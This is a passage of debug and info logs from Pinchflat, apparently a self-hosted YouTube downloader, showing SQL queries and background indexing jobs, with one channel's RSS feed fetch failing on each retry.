m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:20:34.869 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:20:34.869 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:20:34.976 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107321,"event":"job:exception","queue_time":917988,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:20:55.688 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:58.893 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870458893369849,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:20:58.893 [debug] QUERY OK source="sources" db=0.1ms idle=746.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:20:58.893 [debug] QUERY OK source="settings" db=0.1ms idle=746.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:20:58.894 [debug] QUERY OK source="media_profiles" db=0.1ms idle=747.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:20:58.894 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:20:58.894 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:20:58.994 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100096,"event":"job:exception","queue_time":917053,"attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:21:00.053 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:21:17.932 [info] {"args":{"id":3},"id":544,"meta":{},"system_time":1784870477932797609,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:21:17.933 [debug] QUERY OK source="sources" db=0.1ms idle=1786.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:21:17.933 [debug] QUERY OK source="settings" db=0.1ms idle=1027.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:21:17.933 [debug] QUERY OK source="media_profiles" db=0.1ms idle=786.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:21:17.933 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:21:17.933 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:21:17.976 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:21:17.977 [debug] QUERY OK source="media_items" db=0.3ms idle=44.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:21:17.980 [debug] QUERY OK source="media_items" db=3.2ms idle=44.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 05:21:17.981 [debug] QUERY OK source="tasks" db=0.1ms idle=47.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [545, 3, ~U[2026-07-24 05:21:17Z], ~U[2026-07-24 05:21:17Z]] 05:21:17.981 [info] {"args":{"id":3},"id":544,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":48966,"event":"job:stop","queue_time":447701,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:21:25.689 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:32.948 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870492948169377,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:21:32.948 [debug] QUERY OK source="sources" db=0.0ms idle=1801.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:21:32.948 [debug] QUERY OK source="settings" db=0.0ms idle=1801.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:21:32.948 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:21:32.948 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:21:32.948 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:21:33.052 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103851,"event":"job:exception","queue_time":953887,"attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:21:55.690 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.054 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:22:24.002 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870544002493191,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:22:24.002 [debug] QUERY OK source="sources" db=0.0ms idle=1009.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:22:24.003 [debug] QUERY OK source="settings" db=0.0ms idle=856.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:22:24.003 [debug] QUERY OK source="media_profiles" db=0.1ms idle=856.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:22:24.003 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:22:24.003 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:22:24.191 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":188457,"event":"job:exception","queue_time":949499,"attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:22:25.692 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:55.693 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.054 [info] {"source":"oban","duration":108,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:23:25.695 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:50.093 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870630093481303,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:23:50.093 [debug] QUERY OK source="sources" db=0.1ms idle=946.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:23:50.094 [debug] QUERY OK source="settings" db=0.0ms idle=947.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:23:50.094 [debug] QUERY OK source="media_profiles" db=0.1ms idle=947.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:23:50.094 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:23:50.094 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:23:50.275 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":181482,"event":"job:exception","queue_time":901538,"attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:23:55.696 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.056 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:24:25.697 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:55.698 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.057 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:25:25.699 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:55.700 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.057 [info] {"source":"oban","duration":120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:26:17.242 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870777242473075,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:26:17.242 [debug] QUERY OK source="sources" db=0.0ms idle=95.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:26:17.243 [debug] QUERY OK source="settings" db=0.0ms idle=96.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:26:17.243 [debug] QUERY OK source="media_profiles" db=0.0ms idle=96.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:26:17.243 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:26:17.243 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:26:17.749 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":506024,"event":"job:exception","queue_time":966445,"attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:26:25.701 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:55.702 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.059 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:27:25.703 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:55.704 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.060 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:28:25.705 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:55.706 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.061 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:29:25.707 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:55.708 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.062 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:30:25.709 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:55.710 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.063 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:31:15.546 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784871075546334092,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:31:15.546 [debug] QUERY OK source="sources" db=0.1ms idle=399.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:31:15.546 [debug] QUERY OK source="settings" db=0.0ms idle=399.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:15.546 [debug] QUERY OK source="media_profiles" db=0.0ms idle=399.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:31:15.546 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:15.546 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:31:16.074 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":527790,"event":"job:exception","queue_time":796968,"attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:31:18.549 [info] {"args":{"id":3},"id":545,"meta":{},"system_time":1784871078549297538,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:31:18.549 [debug] QUERY OK source="sources" db=0.1ms idle=1402.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:31:18.549 [debug] QUERY OK source="settings" db=0.0ms idle=1402.7ms SELECT s0."id", 